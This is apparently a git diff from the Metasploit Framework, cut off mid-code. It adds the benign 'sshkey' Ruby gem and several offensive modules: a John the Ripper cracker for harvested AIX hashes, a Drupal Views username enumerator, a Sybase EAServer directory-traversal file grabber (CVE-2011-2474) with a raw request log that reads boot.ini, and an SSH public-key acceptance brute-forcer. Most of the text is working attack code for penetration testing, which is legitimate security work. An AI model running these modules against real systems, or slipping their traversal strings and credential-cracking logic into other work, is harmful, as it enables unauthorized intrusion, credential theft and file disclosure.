NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
||||
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
||||
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
||||
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
|
@ -0,0 +1,71 @@
|
|||
sshkey
|
||||
======
|
||||
|
||||
Generate private and public SSH keys (RSA and DSA supported) using pure Ruby.
|
||||
|
||||
gem install sshkey
|
||||
|
||||
Tested on the following Rubies: MRI 1.8.7, 1.9.2, 1.9.3, REE. Ruby must be compiled with OpenSSL support.
|
||||
|
||||
[![Build Status](https://secure.travis-ci.org/bensie/sshkey.png)](http://travis-ci.org/bensie/sshkey)
|
||||
|
||||
Usage
|
||||
-----
|
||||
|
||||
When generating a new keypair the default key type is 2048-bit RSA, but you can supply the `type` (RSA or DSA) and `bits` in the options.
|
||||
You can also (optionally) supply a `comment`:
|
||||
|
||||
``` ruby
|
||||
k = SSHKey.generate
|
||||
|
||||
k = SSHKey.generate(:type => "DSA", :bits => 1024, :comment => "foo@bar.com")
|
||||
```
|
||||
|
||||
Return an SSHKey object from an existing RSA or DSA private key (provided as a string)
|
||||
|
||||
``` ruby
|
||||
k = SSHKey.new(File.read("~/.ssh/id_rsa"), :comment => "foo@bar.com")
|
||||
```
|
||||
|
||||
Both of these will return an SSHKey object with the following methods:
|
||||
|
||||
``` ruby
|
||||
# Returns an OpenSSL::PKey::RSA or OpenSSL::PKey::DSA key object
|
||||
# http://www.ruby-doc.org/stdlib/libdoc/openssl/rdoc/classes/OpenSSL/PKey/RSA.html
|
||||
# http://www.ruby-doc.org/stdlib/libdoc/openssl/rdoc/classes/OpenSSL/PKey/DSA.html
|
||||
k.key_object
|
||||
# => -----BEGIN RSA PRIVATE KEY-----\nMIIEowI...
|
||||
|
||||
# Returns the Private Key as a string
|
||||
k.private_key
|
||||
# => "-----BEGIN RSA PRIVATE KEY-----\nMIIEowI..."
|
||||
|
||||
# Returns the Public Key as a string
|
||||
k.public_key
|
||||
# => "-----BEGIN RSA PUBLIC KEY-----\nMIIBCg..."
|
||||
|
||||
# Returns the SSH Public Key as a string
|
||||
k.ssh_public_key
|
||||
# => "ssh-rsa AAAAB3NzaC1yc2EA...."
|
||||
|
||||
# Returns the comment as a string
|
||||
k.comment
|
||||
# => "foo@bar.com"
|
||||
|
||||
# Returns the MD5 fingerprint as a string
|
||||
k.md5_fingerprint
|
||||
# => "2a:89:84:c9:29:05:d1:f8:49:79:1c:ba:73:99:eb:af"
|
||||
|
||||
# Returns the SHA1 fingerprint as a string
|
||||
k.sha1_fingerprint
|
||||
# => "e4:f9:79:f2:fe:d6:be:2d:ef:2e:c2:fa:aa:f8:b0:17:34:fe:0d:c0"
|
||||
|
||||
# Validates SSH Public Key
|
||||
SSHKey.valid_ssh_public_key? "ssh-rsa AAAAB3NzaC1yc2EA...."
|
||||
# => true
|
||||
```
|
||||
|
||||
Copyright
|
||||
---------
|
||||
|
||||
Copyright (c) 2011 James Miller
|
|
@ -0,0 +1,186 @@
|
|||
require 'openssl'
|
||||
require 'base64'
|
||||
require 'digest/md5'
|
||||
require 'digest/sha1'
|
||||
|
||||
class SSHKey
|
||||
SSH_TYPES = {"rsa" => "ssh-rsa", "dsa" => "ssh-dss"}
|
||||
SSH_CONVERSION = {"rsa" => ["e", "n"], "dsa" => ["p", "q", "g", "pub_key"]}
|
||||
|
||||
attr_reader :key_object, :comment, :type
|
||||
attr_accessor :passphrase
|
||||
|
||||
# Generate a new keypair and return an SSHKey object
|
||||
#
|
||||
# The default behavior when providing no options will generate a 2048-bit RSA
|
||||
# keypair.
|
||||
#
|
||||
# ==== Parameters
|
||||
# * options<~Hash>:
|
||||
# * :type<~String> - "rsa" or "dsa", "rsa" by default
|
||||
# * :bits<~Integer> - Bit length
|
||||
# * :comment<~String> - Comment to use for the public key, defaults to ""
|
||||
# * :passphrase<~String> - Encrypt the key with this passphrase
|
||||
#
|
||||
def self.generate(options = {})
|
||||
type = options[:type] || "rsa"
|
||||
bits = options[:bits] || 2048
|
||||
cipher = OpenSSL::Cipher::Cipher.new("AES-128-CBC") if options[:passphrase]
|
||||
|
||||
case type.downcase
|
||||
when "rsa" then SSHKey.new(OpenSSL::PKey::RSA.generate(bits).to_pem(cipher, options[:passphrase]), options)
|
||||
when "dsa" then SSHKey.new(OpenSSL::PKey::DSA.generate(bits).to_pem(cipher, options[:passphrase]), options)
|
||||
else
|
||||
raise "Unknown key type: #{type}"
|
||||
end
|
||||
end
|
||||
|
||||
# Validate an existing SSH public key
|
||||
#
|
||||
# Returns true or false depending on the validity of the public key provided
|
||||
#
|
||||
# ==== Parameters
|
||||
# * ssh_public_key<~String> - "ssh-rsa AAAAB3NzaC1yc2EA...."
|
||||
#
|
||||
def self.valid_ssh_public_key?(ssh_public_key)
|
||||
ssh_type, encoded_key = ssh_public_key.split(" ")
|
||||
type = SSH_TYPES.invert[ssh_type]
|
||||
prefix = [0,0,0,7].pack("C*")
|
||||
decoded = Base64.decode64(encoded_key)
|
||||
|
||||
# Base64 decoding is too permissive, so we should validate if encoding is correct
|
||||
return false unless Base64.encode64(decoded).gsub("\n", "") == encoded_key
|
||||
return false unless decoded.sub!(/^#{prefix}#{ssh_type}/, "")
|
||||
|
||||
unpacked = decoded.unpack("C*")
|
||||
data = []
|
||||
index = 0
|
||||
until unpacked[index].nil?
|
||||
datum_size = from_byte_array unpacked[index..index+4-1], 4
|
||||
index = index + 4
|
||||
datum = from_byte_array unpacked[index..index+datum_size-1], datum_size
|
||||
data << datum
|
||||
index = index + datum_size
|
||||
end
|
||||
|
||||
SSH_CONVERSION[type].size == data.size
|
||||
rescue
|
||||
false
|
||||
end
|
||||
|
||||
def self.from_byte_array(byte_array, expected_size = nil)
|
||||
num = 0
|
||||
raise "Byte array too short" if !expected_size.nil? && expected_size != byte_array.size
|
||||
byte_array.reverse.each_with_index do |item, index|
|
||||
num += item * 256**(index)
|
||||
end
|
||||
num
|
||||
end
|
||||
|
||||
# Create a new SSHKey object
|
||||
#
|
||||
# ==== Parameters
|
||||
# * private_key - Existing RSA or DSA private key
|
||||
# * options<~Hash>
|
||||
# * :comment<~String> - Comment to use for the public key, defaults to ""
|
||||
# * :passphrase<~String> - If the key is encrypted, supply the passphrase
|
||||
#
|
||||
def initialize(private_key, options = {})
|
||||
@passphrase = options[:passphrase]
|
||||
@comment = options[:comment] || ""
|
||||
begin
|
||||
@key_object = OpenSSL::PKey::RSA.new(private_key, passphrase)
|
||||
@type = "rsa"
|
||||
rescue
|
||||
@key_object = OpenSSL::PKey::DSA.new(private_key, passphrase)
|
||||
@type = "dsa"
|
||||
end
|
||||
end
|
||||
|
||||
# Fetch the RSA/DSA private key
|
||||
#
|
||||
# rsa_private_key and dsa_private_key are aliased for backward compatibility
|
||||
def private_key
|
||||
key_object.to_pem
|
||||
end
|
||||
alias_method :rsa_private_key, :private_key
|
||||
alias_method :dsa_private_key, :private_key
|
||||
|
||||
# Fetch the encrypted RSA/DSA private key using the passphrase provided
|
||||
#
|
||||
# If no passphrase is set, returns the unencrypted private key
|
||||
def encrypted_private_key
|
||||
return private_key unless passphrase
|
||||
key_object.to_pem(OpenSSL::Cipher::Cipher.new("AES-128-CBC"), passphrase)
|
||||
end
|
||||
|
||||
# Fetch the RSA/DSA public key
|
||||
#
|
||||
# rsa_public_key and dsa_public_key are aliased for backward compatibility
|
||||
def public_key
|
||||
key_object.public_key.to_pem
|
||||
end
|
||||
alias_method :rsa_public_key, :public_key
|
||||
alias_method :dsa_public_key, :public_key
|
||||
|
||||
# SSH public key
|
||||
def ssh_public_key
|
||||
[SSH_TYPES[type], Base64.encode64(ssh_public_key_conversion).gsub("\n", ""), comment].join(" ").strip
|
||||
end
|
||||
|
||||
# Fingerprints
|
||||
#
|
||||
# MD5 fingerprint for the given SSH public key
|
||||
def md5_fingerprint
|
||||
Digest::MD5.hexdigest(ssh_public_key_conversion).gsub(/(.{2})(?=.)/, '\1:\2')
|
||||
end
|
||||
alias_method :fingerprint, :md5_fingerprint
|
||||
|
||||
# SHA1 fingerprint for the given SSH public key
|
||||
def sha1_fingerprint
|
||||
Digest::SHA1.hexdigest(ssh_public_key_conversion).gsub(/(.{2})(?=.)/, '\1:\2')
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# SSH Public Key Conversion
|
||||
#
|
||||
# All data type encoding is defined in the section #5 of RFC #4251.
|
||||
# String and mpint (multiple precision integer) types are encoded this way:
|
||||
# 4-bytes word: data length (unsigned big-endian 32 bits integer)
|
||||
# n bytes: binary representation of the data
|
||||
|
||||
# For instance, the "ssh-rsa" string is encoded as the following byte array
|
||||
# [0, 0, 0, 7, 's', 's', 'h', '-', 'r', 's', 'a']
|
||||
def ssh_public_key_conversion
|
||||
out = [0,0,0,7].pack("C*")
|
||||
out += SSH_TYPES[type]
|
||||
|
||||
SSH_CONVERSION[type].each do |method|
|
||||
byte_array = to_byte_array(key_object.public_key.send(method).to_i)
|
||||
out += encode_unsigned_int_32(byte_array.length).pack("c*")
|
||||
out += byte_array.pack("C*")
|
||||
end
|
||||
|
||||
return out
|
||||
end
|
||||
|
||||
def encode_unsigned_int_32(value)
|
||||
out = []
|
||||
out[0] = value >> 24 & 0xff
|
||||
out[1] = value >> 16 & 0xff
|
||||
out[2] = value >> 8 & 0xff
|
||||
out[3] = value & 0xff
|
||||
return out
|
||||
end
|
||||
|
||||
def to_byte_array(num)
|
||||
result = []
|
||||
begin
|
||||
result << (num & 0xff)
|
||||
num >>= 8
|
||||
end until (num == 0 || num == -1) && (result.last[7] == num[7])
|
||||
result.reverse
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,3 @@
|
|||
class SSHKey
|
||||
VERSION = "1.3.0"
|
||||
end
|
|
@ -0,0 +1,142 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
#
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::JohnTheRipper
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'John the Ripper Linux Password Cracker',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %Q{
|
||||
This module uses John the Ripper to identify weak passwords that have been
|
||||
acquired from passwd files on AIX systems.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'TheLightCosine <thelightcosine[at]gmail.com>',
|
||||
'hdm'
|
||||
] ,
|
||||
'License' => MSF_LICENSE # JtR itself is GPLv2, but this wrapper is MSF (BSD)
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
wordlist = Rex::Quickfile.new("jtrtmp")
|
||||
|
||||
wordlist.write( build_seed().join("\n") + "\n" )
|
||||
wordlist.close
|
||||
|
||||
hashlist = Rex::Quickfile.new("jtrtmp")
|
||||
|
||||
myloots = myworkspace.loots.find(:all, :conditions => ['ltype=?', 'aix.hashes'])
|
||||
unless myloots.nil? or myloots.empty?
|
||||
myloots.each do |myloot|
|
||||
begin
|
||||
usf = File.open(myloot.path, "rb")
|
||||
rescue Exception => e
|
||||
print_error("Unable to read #{myloot.path} \n #{e}")
|
||||
next
|
||||
end
|
||||
usf.each_line do |row|
|
||||
row.gsub!(/\n/, ":#{myloot.host.address}\n")
|
||||
hashlist.write(row)
|
||||
end
|
||||
end
|
||||
hashlist.close
|
||||
|
||||
print_status("HashList: #{hashlist.path}")
|
||||
|
||||
print_status("Trying Format:des Wordlist: #{wordlist.path}")
|
||||
john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des')
|
||||
print_status("Trying Format:des Rule: All4...")
|
||||
john_crack(hashlist.path, :incremental => "All4", :format => 'des')
|
||||
print_status("Trying Format:des Rule: Digits5...")
|
||||
john_crack(hashlist.path, :incremental => "Digits5", :format => 'des')
|
||||
|
||||
cracked = john_show_passwords(hashlist.path)
|
||||
|
||||
|
||||
print_status("#{cracked[:cracked]} hashes were cracked!")
|
||||
|
||||
cracked[:users].each_pair do |k,v|
|
||||
if v[0] == "NO PASSWORD"
|
||||
passwd=""
|
||||
else
|
||||
passwd=v[0]
|
||||
end
|
||||
print_good("Host: #{v.last} User: #{k} Pass: #{passwd}")
|
||||
report_auth_info(
|
||||
:host => v.last,
|
||||
:port => 22,
|
||||
:sname => 'ssh',
|
||||
:user => k,
|
||||
:pass => passwd
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def build_seed
|
||||
|
||||
seed = []
|
||||
#Seed the wordlist with Database , Table, and Instance Names
|
||||
schemas = myworkspace.notes.find(:all, :conditions => ['ntype like ?', '%.schema%'])
|
||||
unless schemas.nil? or schemas.empty?
|
||||
schemas.each do |anote|
|
||||
anote.data.each do |key,value|
|
||||
seed << key
|
||||
value.each{|a| seed << a}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
instances = myworkspace.notes.find(:all, :conditions => ['ntype=?', 'mssql.instancename'])
|
||||
unless instances.nil? or instances.empty?
|
||||
instances.each do |anote|
|
||||
seed << anote.data['InstanceName']
|
||||
end
|
||||
end
|
||||
|
||||
# Seed the wordlist with usernames, passwords, and hostnames
|
||||
|
||||
myworkspace.hosts.find(:all).each {|o| seed << john_expand_word( o.name ) if o.name }
|
||||
myworkspace.creds.each do |o|
|
||||
seed << john_expand_word( o.user ) if o.user
|
||||
seed << john_expand_word( o.pass ) if (o.pass and o.ptype !~ /hash/)
|
||||
end
|
||||
|
||||
# Grab any known passwords out of the john.pot file
|
||||
john_cracked_passwords.values {|v| seed << v }
|
||||
|
||||
#Grab the default John Wordlist
|
||||
john = File.open(john_wordlist_path, "rb")
|
||||
john.each_line{|line| seed << line.chomp}
|
||||
|
||||
unless seed.empty?
|
||||
seed.flatten!
|
||||
seed.uniq!
|
||||
end
|
||||
|
||||
print_status("Wordlist Seeded with #{seed.length} words")
|
||||
|
||||
return seed
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -80,7 +80,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
if datastore['RECORD_GUEST']
|
||||
report_ftp_creds(user,pass,@access)
|
||||
else
|
||||
report_ftp_creds(user,pass,@access) unless @accepts_all_logins[@access].include?(ip)
|
||||
if @accepts_all_logins[@access]
|
||||
report_ftp_creds(user,pass,@access) unless @accepts_all_logins[@access].include?(ip)
|
||||
else
|
||||
report_ftp_creds(user,pass,@access)
|
||||
end
|
||||
end
|
||||
end
|
||||
ret
|
||||
|
|
|
@ -0,0 +1,116 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Drupal Views Module Users Enumeration',
|
||||
'Description' => %q{
|
||||
This module exploits an information disclosure vulnerability in the 'Views'
|
||||
module of Drupal, brute-forcing the first 10 usernames from 'a' to 'z'
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Justin Klein Keane', #Original Discovery
|
||||
'Robin François <rof[at]navixia.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.madirish.net/node/465'],
|
||||
],
|
||||
'DisclosureDate' => 'Jul 2 2010'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URIPATH', [true, "Drupal Path", "/"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check(base_uri)
|
||||
res = send_request_cgi({
|
||||
'uri' => base_uri,
|
||||
'method' => 'GET',
|
||||
'headers' => { 'Connection' => 'Close' }
|
||||
}, 25)
|
||||
|
||||
if not res
|
||||
return false
|
||||
elsif res.message != 'OK' or res.body != '[ ]'
|
||||
return false
|
||||
else
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
# Make sure the URIPATH begins with '/'
|
||||
if datastore['URIPATH'][0] != '/'
|
||||
datastore['URIPATH'] = '/' + datastore['URIPATH']
|
||||
end
|
||||
|
||||
# Make sure the URIPATH ends with /
|
||||
if datastore['URIPATH'][-1] != '/'
|
||||
datastore['URIPATH'] = datastore['URIPATH'] + '/'
|
||||
end
|
||||
|
||||
enum_uri = datastore['URIPATH'] + "?q=admin/views/ajax/autocomplete/user/"
|
||||
|
||||
# Check if remote host is available or appears vulnerable
|
||||
if not check(enum_uri)
|
||||
print_error("#{ip} does not appear to be vulnerable, will not continue")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Begin enumerating users at #{ip}")
|
||||
|
||||
results = []
|
||||
('a'..'z').each do |l|
|
||||
vprint_status("Iterating on letter: #{l}")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => enum_uri+l,
|
||||
'method' => 'GET',
|
||||
'headers' => { 'Connection' => 'Close' }
|
||||
}, 25)
|
||||
|
||||
if (res and res.message == "OK")
|
||||
user_list = res.body.scan(/\w+/)
|
||||
if user_list.empty?
|
||||
vprint_line("\tFound: Nothing")
|
||||
else
|
||||
vprint_line("\tFound: #{user_list.inspect}")
|
||||
results << user_list
|
||||
end
|
||||
else
|
||||
print_error("Unexpected results from server")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
final_results = results.flatten.uniq
|
||||
|
||||
print_status("Done. " + final_results.length.to_s + " usernames found...")
|
||||
|
||||
final_results.each do |user|
|
||||
report_auth_info(
|
||||
:host => Rex::Socket.getaddress(datastore['RHOST']),
|
||||
:port => datastore['RPORT'],
|
||||
:user => user,
|
||||
:type => "drupal_user"
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,112 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sybase Easerver 6.3 Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability found in Sybase
|
||||
EAserver's Jetty webserver on port 8000. Code execution seems unlikely with
|
||||
EAserver's default configuration unless the web server allows WRITE permission.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-2474' ],
|
||||
[ 'OSVDB', '72498' ],
|
||||
[ 'URL', 'http://www.sybase.com/detail?id=1093216' ],
|
||||
[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=912' ],
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Sow Ching Shiong', #Initial discovery (via iDefense)
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => "May 25 2011"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000),
|
||||
OptString.new("FILEPATH", [false, 'Specify a parameter for the action'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
# No point to continue if no filename is specified
|
||||
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
|
||||
print_error("Please supply the name of the file you want to download")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Attempting to download: #{datastore['FILEPATH']}")
|
||||
|
||||
# Create request
|
||||
traversal = ".\\..\\.\\..\\.\\..\\.\\.."
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => "/#{traversal}\\#{datastore['FILEPATH']}"
|
||||
}, 25)
|
||||
|
||||
print_status("Server returns HTTP code: #{res.code.to_s}")
|
||||
|
||||
# Show data if needed
|
||||
if res and res.code == 200
|
||||
vprint_line(res.to_s)
|
||||
fname = File.basename(datastore['FILEPATH'])
|
||||
|
||||
path = store_loot(
|
||||
'easerver.http',
|
||||
'application/octet-stream',
|
||||
ip,
|
||||
res.body,
|
||||
fname
|
||||
)
|
||||
print_status("File saved in: #{path}")
|
||||
else
|
||||
print_error("Nothing was downloaded")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
GET /.\..\.\..\.\..\.\..\boot.ini HTTP/1.0
|
||||
User-Agent: DotDotPwn v2.1 <-- yup, awesome tool
|
||||
Connection: close
|
||||
Accept: */*
|
||||
Host: 10.0.1.55:8000
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Last-Modified: Sat, 24 Sep 2011 07:12:39 GMT
|
||||
Content-Length: 211
|
||||
Connection: close
|
||||
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
|
||||
|
||||
[boot loader]
|
||||
timeout=30
|
||||
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
|
||||
[operating systems]
|
||||
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn
|
||||
|
||||
$ nc 10.0.1.55 8000
|
||||
OPTIONS / HTTP/1.0
|
||||
|
||||
HTTP/1.1 405 Method Not Allowed
|
||||
Allow: GET
|
||||
Content-Length: 0
|
||||
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
|
||||
=end
|
|
@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:sname => 'HTTP',
|
||||
:port => rport,
|
||||
:type => wdtype,
|
||||
:data => 'enabled'
|
||||
:data => datastore['PATH']
|
||||
})
|
||||
|
||||
else
|
||||
|
|
|
@ -0,0 +1,333 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/ssh'
|
||||
require 'sshkey' # TODO: Actually include this!
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SSH Public Key Acceptance Scanner',
|
||||
'Description' => %q{
|
||||
This module can determine what public keys are configured for
|
||||
key-based authentication across a range of machines, users, and
|
||||
sets of known keys. The SSH protocol indicates whether a particular
|
||||
key is accepted prior to the client performing the actual signed
|
||||
authentication request. To use this module, a text file containing
|
||||
one or more SSH keys should be provided. These can be private or
|
||||
public, so long as no passphrase is set on the private keys.
|
||||
|
||||
If you have loaded a database plugin and connected to a database
|
||||
this module will record authorized public keys and hosts so you can
|
||||
track your process.
|
||||
|
||||
|
||||
Key files may be a single public (unencrypted) key, or several public
|
||||
keys concatenated together as an ASCII text file. Non-key data should be
|
||||
silently ignored. Private keys will only utilize the public key component
|
||||
stored within the key file.
|
||||
},
|
||||
'Author' => ['todb', 'hdm'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(22),
|
||||
OptPath.new('KEY_FILE', [false, 'Filename of one or several cleartext public keys.'])
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||
OptBool.new('SSH_BYPASS', [ false, 'Verify that authentication was not bypassed when keys are found', false]),
|
||||
OptString.new('SSH_KEYFILE_B64', [false, 'Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only.', '']),
|
||||
OptPath.new('KEY_DIR', [false, 'Directory of several keys. Filenames must not begin with a dot in order to be read.'])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS')
|
||||
|
||||
@good_credentials = {}
|
||||
@good_key = ''
|
||||
@strip_passwords = true
|
||||
|
||||
end
|
||||
|
||||
def key_dir
|
||||
datastore['KEY_DIR']
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def ip
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
def read_keyfile(file)
|
||||
if file == :keyfile_b64
|
||||
keyfile = datastore['SSH_KEYFILE_B64'].unpack("m*").first
|
||||
elsif file.kind_of? Array
|
||||
keyfile = ''
|
||||
file.each do |dir_entry|
|
||||
next unless ::File.readable? dir_entry
|
||||
keyfile << ::File.open(dir_entry, "rb") {|f| f.read(f.stat.size)}
|
||||
end
|
||||
else
|
||||
keyfile = ::File.open(file, "rb") {|f| f.read(f.stat.size)}
|
||||
end
|
||||
keys = []
|
||||
this_key = []
|
||||
in_key = false
|
||||
keyfile.split("\n").each do |line|
|
||||
if line =~ /ssh-(dss|rsa)\s+/
|
||||
keys << line
|
||||
next
|
||||
end
|
||||
in_key = true if(line =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----/)
|
||||
this_key << line if in_key
|
||||
if(line =~ /^-----END [RD]SA (PRIVATE|PUBLIC) KEY-----/)
|
||||
in_key = false
|
||||
keys << (this_key.join("\n") + "\n")
|
||||
this_key = []
|
||||
end
|
||||
end
|
||||
if keys.empty?
|
||||
print_error "#{ip}:#{rport} SSH - No valid keys found"
|
||||
end
|
||||
return validate_keys(keys)
|
||||
end
|
||||
|
||||
# Validates that the key isn't total garbage, and converts PEM formatted
|
||||
# keys to SSH formatted keys.
|
||||
def validate_keys(keys)
|
||||
keepers = []
|
||||
keys.each do |key|
|
||||
if key =~ /ssh-(dss|rsa)/
|
||||
keepers << key
|
||||
next
|
||||
else # Use the mighty SSHKey library from James Miller to convert them on the fly.
|
||||
ssh_version = SSHKey.new(key).ssh_public_key rescue nil
|
||||
keepers << ssh_version if ssh_version
|
||||
next
|
||||
end
|
||||
|
||||
# Needs a beginning
|
||||
next unless key =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a/m
|
||||
# Needs an end
|
||||
next unless key =~ /\n-----END [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a?$/m
|
||||
# Shouldn't have binary.
|
||||
next unless key.scan(/[\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff]/).empty?
|
||||
# Add more tests to taste.
|
||||
keepers << key
|
||||
end
|
||||
if keepers.empty?
|
||||
print_error "#{ip}:#{rport} SSH - No valid keys found"
|
||||
end
|
||||
return keepers.uniq
|
||||
end
|
||||
|
||||
def pull_cleartext_keys(keys)
|
||||
cleartext_keys = []
|
||||
keys.each do |key|
|
||||
next unless key
|
||||
next if key =~ /Proc-Type:.*ENCRYPTED/
|
||||
this_key = key.gsub(/\x0d/,"")
|
||||
next if cleartext_keys.include? this_key
|
||||
cleartext_keys << this_key
|
||||
end
|
||||
if cleartext_keys.empty?
|
||||
print_error "#{ip}:#{rport} SSH - No valid cleartext keys found"
|
||||
end
|
||||
return cleartext_keys
|
||||
end
|
||||
|
||||
def do_login(ip, port, user)
|
||||
|
||||
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
|
||||
keys = read_keyfile(datastore['KEY_FILE'])
|
||||
@keyfile_path = datastore['KEY_FILE'].dup
|
||||
cleartext_keys = pull_cleartext_keys(keys)
|
||||
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
|
||||
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
|
||||
keys = read_keyfile(:keyfile_b64)
|
||||
cleartext_keys = pull_cleartext_keys(keys)
|
||||
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
|
||||
elsif datastore['KEY_DIR']
|
||||
@keyfile_path = datastore['KEY_DIR'].dup
|
||||
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
|
||||
unless @key_files
|
||||
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/}
|
||||
end
|
||||
these_keys = @key_files.map {|f| File.join(key_dir,f)}
|
||||
keys = read_keyfile(these_keys)
|
||||
cleartext_keys = pull_cleartext_keys(keys)
|
||||
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
|
||||
else
|
||||
return :missing_keyfile
|
||||
end
|
||||
|
||||
unless @alerted_with_msg
|
||||
print_status msg
|
||||
@alerted_with_msg = true
|
||||
end
|
||||
|
||||
cleartext_keys.each_with_index do |key_data,key_idx|
|
||||
key_info = ""
|
||||
|
||||
if key_data =~ /ssh\-(rsa|dss)\s+([^\s]+)\s+(.*)/
|
||||
